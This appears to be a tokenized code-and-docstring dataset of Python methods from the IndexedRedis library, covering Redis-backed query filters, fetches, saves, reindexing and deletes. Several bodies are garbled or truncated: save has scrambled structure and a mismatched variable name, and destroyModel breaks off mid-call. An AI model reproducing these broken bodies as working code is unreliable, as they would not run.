{"signature": "def filterInline(self, **kwargs):", "body": "return IndexedRedisQuery._filter(self, **kwargs)<EOL>", "docstring": "filterInline - @see IndexedRedisQuery.filter. This is the same as filter, but works inline on this object instead of creating a copy.\n        Use this is you do not need to retain the previous filter object.", "id": "f4156:c3:m4"}
{"signature": "@staticmethod<EOL><INDENT>def _filter(filterObj, **kwargs):<DEDENT>", "body": "for key, value in kwargs.items():<EOL><INDENT>if key.endswith('<STR_LIT>'):<EOL><INDENT>notFilter = True<EOL>key = key[:-<NUM_LIT:4>]<EOL><DEDENT>else:<EOL><INDENT>notFilter = False<EOL><DEDENT>if key not in filterObj.indexedFields:<EOL><INDENT>raise ValueError('<STR_LIT>' + key + '<STR_LIT>')<EOL><DEDENT>if notFilter is False:<EOL><INDENT>filterObj.filters.append( (key, value) )<EOL><DEDENT>else:<EOL><INDENT>filterObj.notFilters.append( (key, value) )<EOL><DEDENT><DEDENT>return filterObj<EOL>", "docstring": "Internal for handling filters; the guts of .filter and .filterInline", "id": "f4156:c3:m5"}
{"signature": "def count(self):", "body": "conn = self._get_connection()<EOL>numFilters = len(self.filters)<EOL>numNotFilters = len(self.notFilters)<EOL>if numFilters + numNotFilters == <NUM_LIT:0>:<EOL><INDENT>return conn.scard(self._get_ids_key())<EOL><DEDENT>if numNotFilters == <NUM_LIT:0>:<EOL><INDENT>if numFilters == <NUM_LIT:1>:<EOL><INDENT>(filterFieldName, filterValue) = self.filters[<NUM_LIT:0>]<EOL>return conn.scard(self._get_key_for_index(filterFieldName, filterValue))<EOL><DEDENT>indexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.filters]<EOL>return len(conn.sinter(indexKeys))<EOL><DEDENT>notIndexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.notFilters]<EOL>if numFilters == <NUM_LIT:0>:<EOL><INDENT>return len(conn.sdiff(self._get_ids_key(), *notIndexKeys))<EOL><DEDENT>indexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.filters]<EOL>tempKey = self._getTempKey()<EOL>pipeline = conn.pipeline()<EOL>pipeline.sinterstore(tempKey, *indexKeys)<EOL>pipeline.sdiff(tempKey, *notIndexKeys)<EOL>pipeline.delete(tempKey)<EOL>pks = pipeline.execute()[<NUM_LIT:1>] <EOL>return len(pks)<EOL>", "docstring": "count - gets the number of records matching the filter criteria\n\nExample:\n        theCount = Model.objects.filter(field1='value').count()", "id": "f4156:c3:m6"}
{"signature": "def exists(self, pk):", "body": "conn = self._get_connection()<EOL>key = self._get_key_for_id(pk)<EOL>return conn.exists(key)<EOL>", "docstring": "exists - Tests whether a record holding the given primary key exists.\n\n@param pk - Primary key (see getPk method)\n\nExample usage: Waiting for an object to be deleted without fetching the object or running a filter. \n\nThis is a very cheap operation.\n\n@return <bool> - True if object with given pk exists, otherwise False", "id": "f4156:c3:m7"}
{"signature": "def getPrimaryKeys(self, sortByAge=False):", "body": "conn = self._get_connection()<EOL>numFilters = len(self.filters)<EOL>numNotFilters = len(self.notFilters)<EOL>if numFilters + numNotFilters == <NUM_LIT:0>:<EOL><INDENT>conn = self._get_connection()<EOL>matchedKeys = conn.smembers(self._get_ids_key())<EOL><DEDENT>elif numNotFilters == <NUM_LIT:0>:<EOL><INDENT>if numFilters == <NUM_LIT:1>:<EOL><INDENT>(filterFieldName, filterValue) = self.filters[<NUM_LIT:0>]<EOL>matchedKeys = conn.smembers(self._get_key_for_index(filterFieldName, filterValue))<EOL><DEDENT>else:<EOL><INDENT>indexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.filters]<EOL>matchedKeys = conn.sinter(indexKeys)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>notIndexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.notFilters]<EOL>if numFilters == <NUM_LIT:0>:<EOL><INDENT>matchedKeys = conn.sdiff(self._get_ids_key(), *notIndexKeys)<EOL><DEDENT>else:<EOL><INDENT>indexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.filters]<EOL>tempKey = self._getTempKey()<EOL>pipeline = conn.pipeline()<EOL>pipeline.sinterstore(tempKey, *indexKeys)<EOL>pipeline.sdiff(tempKey, *notIndexKeys)<EOL>pipeline.delete(tempKey)<EOL>matchedKeys = pipeline.execute()[<NUM_LIT:1>] <EOL><DEDENT><DEDENT>matchedKeys = [ int(_key) for _key in matchedKeys ]<EOL>if sortByAge is False:<EOL><INDENT>return list(matchedKeys)<EOL><DEDENT>else:<EOL><INDENT>matchedKeys = list(matchedKeys)<EOL>matchedKeys.sort()<EOL>return matchedKeys<EOL><DEDENT>", "docstring": "getPrimaryKeys - Returns all primary keys matching current filterset.\n\n@param sortByAge <bool> - If False, return will be a set and may not be ordered.\n        If True, return will be a list and is guarenteed to represent objects oldest->newest\n\n@return <set> - A set of all primary keys associated with current filters.", "id": "f4156:c3:m8"}
{"signature": "def all(self, cascadeFetch=False):", "body": "matchedKeys = self.getPrimaryKeys()<EOL>if matchedKeys:<EOL><INDENT>return self.getMultiple(matchedKeys, cascadeFetch=cascadeFetch)<EOL><DEDENT>return IRQueryableList([], mdl=self.mdl)<EOL>", "docstring": "all - Get the underlying objects which match the filter criteria.\n\nExample:   objs = Model.objects.filter(field1='value', field2='value2').all()\n\n@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model\n   will be fetched immediately. If False, foreign objects will be fetched on-access.\n\n@return - Objects of the Model instance associated with this query.", "id": "f4156:c3:m9"}
{"signature": "def allByAge(self, cascadeFetch=False):", "body": "matchedKeys = self.getPrimaryKeys(sortByAge=True)<EOL>if matchedKeys:<EOL><INDENT>return self.getMultiple(matchedKeys, cascadeFetch=cascadeFetch)<EOL><DEDENT>return IRQueryableList([], mdl=self.mdl)<EOL>", "docstring": "allByAge - Get the underlying objects which match the filter criteria, ordered oldest -> newest\n        If you are doing a queue or just need the head/tail, consider .first() and .last() instead.\n\n\n@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model\n   will be fetched immediately. If False, foreign objects will be fetched on-access.\n\n@return - Objects of the Model instance associated with this query, sorted oldest->newest", "id": "f4156:c3:m10"}
{"signature": "def allOnlyFields(self, fields, cascadeFetch=False):", "body": "matchedKeys = self.getPrimaryKeys()<EOL>if matchedKeys:<EOL><INDENT>return self.getMultipleOnlyFields(matchedKeys, fields, cascadeFetch=cascadeFetch)<EOL><DEDENT>return IRQueryableList([], mdl=self.mdl)<EOL>", "docstring": "allOnlyFields - Get the objects which match the filter criteria, only fetching given fields.\n\n@param fields - List of fields to fetch\n\n@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model\n   will be fetched immediately. If False, foreign objects will be fetched on-access.\n\n\n@return - Partial objects with only the given fields fetched", "id": "f4156:c3:m11"}
{"signature": "def allOnlyIndexedFields(self):", "body": "matchedKeys = self.getPrimaryKeys()<EOL>if matchedKeys:<EOL><INDENT>return self.getMultipleOnlyIndexedFields(matchedKeys)<EOL><DEDENT>return IRQueryableList([], mdl=self.mdl)<EOL>", "docstring": "allOnlyIndexedFields - Get the objects which match the filter criteria, only fetching indexed fields.\n\n@return - Partial objects with only the indexed fields fetched", "id": "f4156:c3:m12"}
{"signature": "def first(self, cascadeFetch=False):", "body": "obj = None<EOL>matchedKeys = self.getPrimaryKeys(sortByAge=True)<EOL>if matchedKeys:<EOL><INDENT>while matchedKeys and obj is None:<EOL><INDENT>obj = self.get(matchedKeys.pop(<NUM_LIT:0>), cascadeFetch=cascadeFetch)<EOL><DEDENT><DEDENT>return obj<EOL>", "docstring": "First - Returns the oldest record (lowerst primary key) with current filters.\n        This makes an efficient queue, as it only fetches a single object.\n\n\n@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model\n   will be fetched immediately. If False, foreign objects will be fetched on-access.\n\n@return - Instance of Model object, or None if no items match current filters", "id": "f4156:c3:m13"}
{"signature": "def last(self, cascadeFetch=False):", "body": "obj = None<EOL>matchedKeys = self.getPrimaryKeys(sortByAge=True)<EOL>if matchedKeys:<EOL><INDENT>while matchedKeys and obj is None:<EOL><INDENT>obj = self.get(matchedKeys.pop(), cascadeFetch=cascadeFetch)<EOL><DEDENT><DEDENT>return obj<EOL>", "docstring": "Last - Returns the newest record (highest primary key) with current filters.\n        This makes an efficient queue, as it only fetches a single object.\n\n\n@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model\n   will be fetched immediately. If False, foreign objects will be fetched on-access.\n\n@return - Instance of Model object, or None if no items match current filters", "id": "f4156:c3:m14"}
{"signature": "def random(self, cascadeFetch=False):", "body": "matchedKeys = list(self.getPrimaryKeys())<EOL>obj = None<EOL>while matchedKeys and not obj:<EOL><INDENT>key = matchedKeys.pop(random.randint(<NUM_LIT:0>, len(matchedKeys)-<NUM_LIT:1>))<EOL>obj = self.get(key, cascadeFetch=cascadeFetch)<EOL><DEDENT>return obj<EOL>", "docstring": "Random - Returns a random record in current filterset.\n\n\n@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model\n   will be fetched immediately. If False, foreign objects will be fetched on-access.\n\n@return - Instance of Model object, or None if no items math current filters", "id": "f4156:c3:m15"}
{"signature": "def delete(self):", "body": "if self.filters or self.notFilters:<EOL><INDENT>return self.mdl.deleter.deleteMultiple(self.allOnlyIndexedFields())<EOL><DEDENT>return self.mdl.deleter.destroyModel()<EOL>", "docstring": "delete - Deletes all entries matching the filter criteria", "id": "f4156:c3:m16"}
{"signature": "def get(self, pk, cascadeFetch=False):", "body": "conn = self._get_connection()<EOL>key = self._get_key_for_id(pk)<EOL>res = conn.hgetall(key)<EOL>if type(res) != dict or not len(res.keys()):<EOL><INDENT>return None<EOL><DEDENT>res['<STR_LIT>'] = pk<EOL>ret = self._redisResultToObj(res)<EOL>if cascadeFetch is True:<EOL><INDENT>self._doCascadeFetch(ret)<EOL><DEDENT>return ret<EOL>", "docstring": "get - Get a single value with the internal primary key.\n\n\n@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model\n   will be fetched immediately. If False, foreign objects will be fetched on-access.\n\n@param pk - internal primary key (can be found via .getPk() on an item)", "id": "f4156:c3:m17"}
{"signature": "@staticmethod<EOL><INDENT>def _doCascadeFetch(obj):<DEDENT>", "body": "obj.validateModel()<EOL>if not obj.foreignFields:<EOL><INDENT>return<EOL><DEDENT>NOTE: Currently this fetches using one transaction per object. Implementation for actual resolution is in<EOL><INDENT>IndexedRedisModel.__getattribute__ <EOL><DEDENT>for foreignField in obj.foreignFields:<EOL><INDENT>subObjsData = object.__getattribute__(obj, foreignField)<EOL>if not subObjsData:<EOL><INDENT>setattr(obj, str(foreignField), irNull)<EOL>continue<EOL><DEDENT>subObjs = subObjsData.getObjs()<EOL>for subObj in subObjs:<EOL><INDENT>if isIndexedRedisModel(subObj):<EOL><INDENT>IndexedRedisQuery._doCascadeFetch(subObj)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "_doCascadeFetch - Takes an object and performs a cascading fetch on all foreign links, and all theirs, and so on.\n\n@param obj <IndexedRedisModel> - A fetched model", "id": "f4156:c3:m18"}
{"signature": "def getMultiple(self, pks, cascadeFetch=False):", "body": "if type(pks) == set:<EOL><INDENT>pks = list(pks)<EOL><DEDENT>if len(pks) == <NUM_LIT:1>:<EOL><INDENT>return IRQueryableList([self.get(pks[<NUM_LIT:0>], cascadeFetch=cascadeFetch)], mdl=self.mdl)<EOL><DEDENT>conn = self._get_connection()<EOL>pipeline = conn.pipeline()<EOL>for pk in pks:<EOL><INDENT>key = self._get_key_for_id(pk)<EOL>pipeline.hgetall(key)<EOL><DEDENT>res = pipeline.execute()<EOL>ret = IRQueryableList(mdl=self.mdl)<EOL>i = <NUM_LIT:0><EOL>pksLen = len(pks)<EOL>while i < pksLen:<EOL><INDENT>if res[i] is None:<EOL><INDENT>ret.append(None)<EOL>i += <NUM_LIT:1><EOL>continue<EOL><DEDENT>res[i]['<STR_LIT>'] = pks[i]<EOL>obj = self._redisResultToObj(res[i])<EOL>ret.append(obj)<EOL>i += <NUM_LIT:1><EOL><DEDENT>if cascadeFetch is True:<EOL><INDENT>for obj in ret:<EOL><INDENT>if not obj:<EOL><INDENT>continue<EOL><DEDENT>self._doCascadeFetch(obj)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "getMultiple - Gets multiple objects with a single atomic operation\n\n\n@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model\n   will be fetched immediately. If False, foreign objects will be fetched on-access.\n\n@param pks - list of internal keys", "id": "f4156:c3:m19"}
{"signature": "def getOnlyFields(self, pk, fields, cascadeFetch=False):", "body": "conn = self._get_connection()<EOL>key = self._get_key_for_id(pk)<EOL>res = conn.hmget(key, fields)<EOL>if type(res) != list or not len(res):<EOL><INDENT>return None<EOL><DEDENT>objDict = {}<EOL>numFields = len(fields)<EOL>i = <NUM_LIT:0><EOL>anyNotNone = False<EOL>while i < numFields:<EOL><INDENT>objDict[fields[i]] = res[i]<EOL>if res[i] != None:<EOL><INDENT>anyNotNone = True<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>if anyNotNone is False:<EOL><INDENT>return None<EOL><DEDENT>objDict['<STR_LIT>'] = pk<EOL>ret = self._redisResultToObj(objDict)<EOL>if cascadeFetch is True:<EOL><INDENT>self._doCascadeFetch(ret)<EOL><DEDENT>return ret<EOL>", "docstring": "getOnlyFields - Gets only certain fields from a paticular primary key. For working on entire filter set, see allOnlyFields\n\n@param pk <int> - Primary Key\n\n@param fields list<str> - List of fields\n\n@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model\n   will be fetched immediately. If False, foreign objects will be fetched on-access.\n\n\nreturn - Partial objects with only fields applied", "id": "f4156:c3:m20"}
{"signature": "def getMultipleOnlyFields(self, pks, fields, cascadeFetch=False):", "body": "if type(pks) == set:<EOL><INDENT>pks = list(pks)<EOL><DEDENT>if len(pks) == <NUM_LIT:1>:<EOL><INDENT>return IRQueryableList([self.getOnlyFields(pks[<NUM_LIT:0>], fields, cascadeFetch=cascadeFetch)], mdl=self.mdl)<EOL><DEDENT>conn = self._get_connection()<EOL>pipeline = conn.pipeline()<EOL>for pk in pks:<EOL><INDENT>key = self._get_key_for_id(pk)<EOL>pipeline.hmget(key, fields)<EOL><DEDENT>res = pipeline.execute()<EOL>ret = IRQueryableList(mdl=self.mdl)<EOL>pksLen = len(pks)<EOL>i = <NUM_LIT:0><EOL>numFields = len(fields)<EOL>while i < pksLen:<EOL><INDENT>objDict = {}<EOL>anyNotNone = False<EOL>thisRes = res[i]<EOL>if thisRes is None or type(thisRes) != list:<EOL><INDENT>ret.append(None)<EOL>i += <NUM_LIT:1><EOL>continue<EOL><DEDENT>j = <NUM_LIT:0><EOL>while j < numFields:<EOL><INDENT>objDict[fields[j]] = thisRes[j]<EOL>if thisRes[j] != None:<EOL><INDENT>anyNotNone = True<EOL><DEDENT>j += <NUM_LIT:1><EOL><DEDENT>if anyNotNone is False:<EOL><INDENT>ret.append(None)<EOL>i += <NUM_LIT:1><EOL>continue<EOL><DEDENT>objDict['<STR_LIT>'] = pks[i]<EOL>obj = self._redisResultToObj(objDict)<EOL>ret.append(obj)<EOL>i += <NUM_LIT:1><EOL><DEDENT>if cascadeFetch is True:<EOL><INDENT>for obj in ret:<EOL><INDENT>self._doCascadeFetch(obj)<EOL><DEDENT><DEDENT>return ret<EOL>", "docstring": "getMultipleOnlyFields - Gets only certain fields from a list of  primary keys. For working on entire filter set, see allOnlyFields\n\n@param pks list<str> - Primary Keys\n\n@param fields list<str> - List of fields\n\n\n@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model\n   will be fetched immediately. If False, foreign objects will be fetched on-access.\n\nreturn - List of partial objects with only fields applied", "id": "f4156:c3:m21"}
{"signature": "def getOnlyIndexedFields(self, pk):", "body": "return self.getOnlyFields(pk, self.indexedFields)<EOL>", "docstring": "getOnlyIndexedFields - Get only the indexed fields on an object. This is the minimum to delete.\n\n@param pk - Primary key\n\n@return - Object with only indexed fields fetched.", "id": "f4156:c3:m22"}
{"signature": "def getMultipleOnlyIndexedFields(self, pks):", "body": "return self.getMultipleOnlyFields(pks, self.indexedFields)<EOL>", "docstring": "getMultipleOnlyIndexedFields - Get only the indexed fields on an object. This is the minimum to delete.\n\n@param pks - List of primary keys\n\n@return - List of objects with only indexed fields fetched", "id": "f4156:c3:m23"}
{"signature": "def reindex(self):", "body": "objs = self.all()<EOL>saver = IndexedRedisSave(self.mdl)<EOL>saver.reindex(objs)<EOL>", "docstring": "reindex - Reindexes the objects matching current filterset. Use this if you add/remove a field to INDEXED_FIELDS.\n\n  NOTE - This will NOT remove entries from the old index if you change index type, or change decimalPlaces on a\n    IRFixedPointField.  To correct these indexes, you'll need to run:\n\n       Model.reset(Model.objects.all())\n\nIf you change the value of \"hashIndex\" on a field, you need to call #compat_convertHashedIndexes instead.", "id": "f4156:c3:m24"}
{"signature": "def compat_convertHashedIndexes(self, fetchAll=True):", "body": "saver = IndexedRedisSave(self.mdl)<EOL>if fetchAll is True:<EOL><INDENT>objs = self.all()<EOL>saver.compat_convertHashedIndexes(objs)<EOL><DEDENT>else:<EOL><INDENT>didWarnOnce = False<EOL>pks = self.getPrimaryKeys()<EOL>for pk in pks:<EOL><INDENT>obj = self.get(pk)<EOL>if not obj:<EOL><INDENT>if didWarnOnce is False:<EOL><INDENT>sys.stderr.write('<STR_LIT>''<STR_LIT>''<STR_LIT>')<EOL>didWarnOnce = True<EOL><DEDENT>continue<EOL><DEDENT>saver.compat_convertHashedIndexes([obj])<EOL><DEDENT><DEDENT>", "docstring": "compat_convertHashedIndexes - Reindex fields, used for when you change the propery \"hashIndex\" on one or more fields.\n\nFor each field, this will delete both the hash and unhashed keys to an object, \n  and then save a hashed or unhashed value, depending on that field's value for \"hashIndex\".\n\nFor an IndexedRedisModel class named \"MyModel\", call as \"MyModel.objects.compat_convertHashedIndexes()\"\n\nNOTE: This works one object at a time (regardless of #fetchAll), so that an unhashable object does not trash all data.\n\nThis method is intended to be used while your application is offline,\n  as it doesn't make sense to be changing your model while applications are actively using it.\n\n@param fetchAll <bool>, Default True - If True, all objects will be fetched first, then converted.\n  This is generally what you want to do, as it is more efficient. If you are memory contrainted,\n  you can set this to \"False\", and it will fetch one object at a time, convert it, and save it back.", "id": "f4156:c3:m25"}
{"signature": "def save(self, obj, usePipeline=True, forceID=False, cascadeSave=True, conn=None):", "body": "if conn is None:<EOL><INDENT>conn = self._get_connection()<EOL><DEDENT>if usePipeline is True:<EOL><INDENT>idConn = conn<EOL><DEDENT>else:<EOL><INDENT>idConn = self._get_new_connection()<EOL><DEDENT>if issubclass(obj.__class__, (list, tuple)):<EOL><INDENT>objs = obj<EOL><DEDENT>else:<EOL><INDENT>objs = [obj]<EOL><DEDENT>if usePipeline is True:<EOL><INDENT>pipeline = conn.pipeline()<EOL><DEDENT>else:<EOL><INDENT>pipeline = conn<EOL><DEDENT>oga = object.__getattribute__<EOL>if cascadeSave is True:<EOL>ignPipelines = OrderedDict()<EOL><INDENT>foreignSavers = {}<EOL>for thisObj in objs:<EOL><INDENT>if not thisObj.foreignFields:<EOL><INDENT>continue<EOL><DEDENT>foreignFields = thisObj.foreignFields<EOL>for foreignField in foreignFields:<EOL><INDENT>rawObj = oga(thisObj, str(foreignField))<EOL>if rawObj in (None, irNull) or not rawObj.isFetched():<EOL><INDENT>continue<EOL><DEDENT>foreignObjects = oga(thisObj, str(foreignField)).getObjs()<EOL>for foreignObject in foreignObjects:<EOL><INDENT>doSaveForeign = False<EOL>if getattr(foreignObject, '<STR_LIT>', None):<EOL><INDENT>if foreignObject.hasUnsavedChanges(cascadeObjects=True):<EOL><INDENT>doSaveForeign = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>doSaveForeign = True<EOL><DEDENT>if doSaveForeign is True:<EOL><INDENT>if foreignField not in foreignSavers:<EOL><DEDENT><DEDENT><DEDENT>foreignPipelines[foreignField] = self._get_new_connection().pipeline()<EOL><INDENT>foreignSavers[foreignField] = IndexedRedisSave(foreignObject.__class__)<EOL>", "docstring": "save - Save an object / objects associated with this model. \n\nYou probably want to just do object.save() instead of this, but to save multiple objects at once in a single transaction, \n   you can use:\n\n        MyModel.saver.save(myObjs)\n\n@param obj <IndexedRedisModel or list<IndexedRedisModel> - The object to save, or a list of objects to save\n\n@param usePipeline - Use a pipeline for saving. You should always want this, unless you are calling this function from within an existing pipeline.\n\n@param forceID - if not False, force ID to this. If obj is list, this is also list. Forcing IDs also forces insert. Up to you to ensure ID will not clash.\n@param cascadeSave <bool> Default True - If True, any Foreign models linked as attributes that have been altered\n   or created will be saved with this object. If False, only this object (and the reference to an already-saved foreign model) will be saved.\n\n@param conn - A connection or None\n\n@note - if no ID is specified\n\n@return - List of pks", "id": "f4156:c4:m0"}
{"signature": "def saveMultiple(self, objs):", "body": "<EOL>return self.save(objs)<EOL>", "docstring": "saveMultiple - Save a list of objects using a pipeline.\n\n@param objs < list<IndexedRedisModel> > - List of objects to save", "id": "f4156:c4:m1"}
{"signature": "def _doSave(self, obj, isInsert, conn, pipeline=None):", "body": "if pipeline is None:<EOL><INDENT>pipeline = conn<EOL><DEDENT>newDict = obj.asDict(forStorage=True)<EOL>key = self._get_key_for_id(obj._id)<EOL>if isInsert is True:<EOL><INDENT>for thisField in self.fields:<EOL><INDENT>fieldValue = newDict.get(thisField, thisField.getDefaultValue())<EOL>pipeline.hset(key, thisField, fieldValue)<EOL>if fieldValue == IR_NULL_STR:<EOL><INDENT>obj._origData[thisField] = irNull<EOL><DEDENT>else:<EOL><INDENT>obj._origData[thisField] = object.__getattribute__(obj, str(thisField))<EOL><DEDENT><DEDENT>self._add_id_to_keys(obj._id, pipeline)<EOL>for indexedField in self.indexedFields:<EOL><INDENT>self._add_id_to_index(indexedField, obj._id, obj._origData[indexedField], pipeline)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>updatedFields = obj.getUpdatedFields()<EOL>for thisField, fieldValue in updatedFields.items():<EOL><INDENT>(oldValue, newValue) = fieldValue<EOL>oldValueForStorage = thisField.toStorage(oldValue)<EOL>newValueForStorage = thisField.toStorage(newValue)<EOL>pipeline.hset(key, thisField, newValueForStorage)<EOL>if thisField in self.indexedFields:<EOL><INDENT>self._rem_id_from_index(thisField, obj._id, oldValueForStorage, pipeline)<EOL>self._add_id_to_index(thisField, obj._id, newValueForStorage, pipeline)<EOL><DEDENT>obj._origData[thisField] = newValue<EOL><DEDENT><DEDENT>", "docstring": "_doSave - Internal function to save a single object. Don't call this directly. \n            Use \"save\" instead.\n\n  If a pipeline is provided, the operations (setting values, updating indexes, etc)\n    will be queued into that pipeline.\n  Otherwise, everything will be executed right away.\n\n  @param obj - Object to save\n  @param isInsert - Bool, if insert or update. Either way, obj._id is expected to be set.\n  @param conn - Redis connection\n  @param pipeline - Optional pipeline, if present the items will be queued onto it. Otherwise, go directly to conn.", "id": "f4156:c4:m2"}
{"signature": "def reindex(self, objs, conn=None):", "body": "if conn is None:<EOL><INDENT>conn = self._get_connection()<EOL><DEDENT>pipeline = conn.pipeline()<EOL>objDicts = [obj.asDict(True, forStorage=True) for obj in objs]<EOL>for indexedFieldName in self.indexedFields:<EOL><INDENT>for objDict in objDicts:<EOL><INDENT>self._rem_id_from_index(indexedFieldName, objDict['<STR_LIT>'], objDict[indexedFieldName], pipeline)<EOL>self._add_id_to_index(indexedFieldName, objDict['<STR_LIT>'], objDict[indexedFieldName], pipeline)<EOL><DEDENT><DEDENT>pipeline.execute()<EOL>", "docstring": "reindex - Reindexes a given list of objects. Probably you want to do Model.objects.reindex() instead of this directly.\n\n@param objs list<IndexedRedisModel> - List of objects to reindex\n@param conn <redis.Redis or None> - Specific Redis connection or None to reuse", "id": "f4156:c4:m3"}
{"signature": "def compat_convertHashedIndexes(self, objs, conn=None):", "body": "if conn is None:<EOL><INDENT>conn = self._get_connection()<EOL><DEDENT>fields = []        <EOL>for indexedField in self.indexedFields:<EOL><INDENT>origField = self.fields[indexedField]<EOL>if '<STR_LIT>' not in origField.__class__.__new__.__code__.co_varnames:<EOL><INDENT>continue<EOL><DEDENT>if indexedField.hashIndex is True:<EOL><INDENT>hashingField = origField<EOL>regField = origField.copy()<EOL>regField.hashIndex = False<EOL><DEDENT>else:<EOL><INDENT>regField = origField<EOL>hashingField = origField.copy()<EOL>hashingField.hashIndex = True<EOL><DEDENT>fields.append ( (origField, regField, hashingField) )<EOL><DEDENT>objDicts = [obj.asDict(True, forStorage=True) for obj in objs]<EOL>for objDict in objDicts:<EOL><INDENT>pipeline = conn.pipeline()<EOL>pk = objDict['<STR_LIT>']<EOL>for origField, regField, hashingField in fields:<EOL><INDENT>val = objDict[indexedField]<EOL>self._rem_id_from_index(regField, pk, val, pipeline)<EOL>self._rem_id_from_index(hashingField, pk, val, pipeline)<EOL>self._add_id_to_index(origField, pk, val, pipeline)<EOL><DEDENT>pipeline.execute()<EOL><DEDENT>", "docstring": "compat_convertHashedIndexes - Reindex all fields for the provided objects, where the field value is hashed or not.\nIf the field is unhashable, do not allow.\n\nNOTE: This works one object at a time. It is intended to be used while your application is offline,\n  as it doesn't make sense to be changing your model while applications are actively using it.\n\n@param objs <IndexedRedisModel objects to convert>\n@param conn <redis.Redis or None> - Specific Redis connection or None to reuse.", "id": "f4156:c4:m4"}
{"signature": "def deleteOne(self, obj, conn=None):", "body": "if not getattr(obj, '<STR_LIT>', None):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if conn is None:<EOL><INDENT>conn = self._get_connection()<EOL>pipeline = conn.pipeline()<EOL>executeAfter = True<EOL><DEDENT>else:<EOL><INDENT>pipeline = conn <EOL>executeAfter = False<EOL><DEDENT>pipeline.delete(self._get_key_for_id(obj._id))<EOL>self._rem_id_from_keys(obj._id, pipeline)<EOL>for indexedFieldName in self.indexedFields:<EOL><INDENT>self._rem_id_from_index(indexedFieldName, obj._id, obj._origData[indexedFieldName], pipeline)<EOL><DEDENT>obj._id = None<EOL>if executeAfter is True:<EOL><INDENT>pipeline.execute()<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "deleteOne - Delete one object\n\n@param obj - object to delete\n@param conn - Connection to reuse, or None\n\n@return - number of items deleted (0 or 1)", "id": "f4156:c5:m0"}
{"signature": "def deleteByPk(self, pk):", "body": "obj = self.mdl.objects.getOnlyIndexedFields(pk)<EOL>if not obj:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>return self.deleteOne(obj)<EOL>", "docstring": "deleteByPk - Delete object associated with given primary key", "id": "f4156:c5:m1"}
{"signature": "def deleteMultiple(self, objs):", "body": "conn = self._get_connection()<EOL>pipeline = conn.pipeline()<EOL>numDeleted = <NUM_LIT:0><EOL>for obj in objs:<EOL><INDENT>numDeleted += self.deleteOne(obj, pipeline)<EOL><DEDENT>pipeline.execute()<EOL>return numDeleted<EOL>", "docstring": "deleteMultiple - Delete multiple objects\n\n@param objs - List of objects\n\n@return - Number of objects deleted", "id": "f4156:c5:m2"}
{"signature": "def deleteMultipleByPks(self, pks):", "body": "if type(pks) == set:<EOL><INDENT>pks = list(pks)<EOL><DEDENT>if len(pks) == <NUM_LIT:1>:<EOL><INDENT>return self.deleteByPk(pks[<NUM_LIT:0>])<EOL><DEDENT>objs = self.mdl.objects.getMultipleOnlyIndexedFields(pks)<EOL>return self.deleteMultiple(objs)<EOL>", "docstring": "deleteMultipleByPks - Delete multiple objects given their primary keys\n\n@param pks - List of primary keys\n\n@return - Number of objects deleted", "id": "f4156:c5:m3"}
{"signature": "def destroyModel(self):", "body": "conn = self._get_connection()<EOL>pipeline = conn.pipeline()<EOL>pipeline.eval(", "docstring": "destroyModel - Destroy everything related to this model in one swoop.\n\n    Same effect as Model.reset([]) - Except slightly more efficient.\n\n    This function is called if you do Model.objects.delete() with no filters set.\n\n@return - Number of keys deleted. Note, this is NOT number of models deleted, but total keys.", "id": "f4156:c5:m4"}
{"signature": "def toggleDeprecatedMessages(enabled):", "body": "global __deprecatedMessagesEnabled<EOL>__deprecatedMessagesEnabled = enabled<EOL>", "docstring": "toggleDeprecatedMessages - Normally, a deprecated message will log up to once per message.\n  Call toggleDeprecatedMessages(False) to turn them off altogether (like on a Production codebase)\n\n@param enabled <bool> - False to disable deprecated messages, otherwise True.", "id": "f4157:m0"}
{"signature": "def deprecatedMessage(msg, key=None, printStack=False):", "body": "if __deprecatedMessagesEnabled is False:<EOL><INDENT>return<EOL><DEDENT>if not _alreadyWarned:<EOL><INDENT>sys.stderr.write('<STR_LIT>')<EOL><DEDENT>if key is None:<EOL><INDENT>from .compat_str import tobytes<EOL>key = md5(tobytes(msg)).hexdigest()<EOL><DEDENT>if key not in _alreadyWarned:<EOL><INDENT>_alreadyWarned[key] = True<EOL>sys.stderr.write('<STR_LIT>' %(msg, ))<EOL>if printStack:<EOL><INDENT>sys.stderr.write('<STR_LIT>')<EOL>curStack = traceback.extract_stack()<EOL>sys.stderr.write('<STR_LIT:U+0020>' + '<STR_LIT>'.join(traceback.format_list(curStack[:-<NUM_LIT:2>])).replace('<STR_LIT:\\t>', '<STR_LIT:U+0020>') + '<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>", "docstring": "deprecatedMessage - Print a deprecated messsage (unless they are toggled off). Will print a message only once (based on \"key\")\n\n@param msg <str> - Deprecated message to possibly print\n\n@param key <anything> - A key that is specific to this message. \n        If None is provided (default), one will be generated from the md5 of the message.\n        However, better to save cycles and provide a unique key if at all possible.\n        The decorator uses the function itself as the key.\n\n@param printStack <bool> Default False, if True print a stack trace", "id": "f4157:m1"}
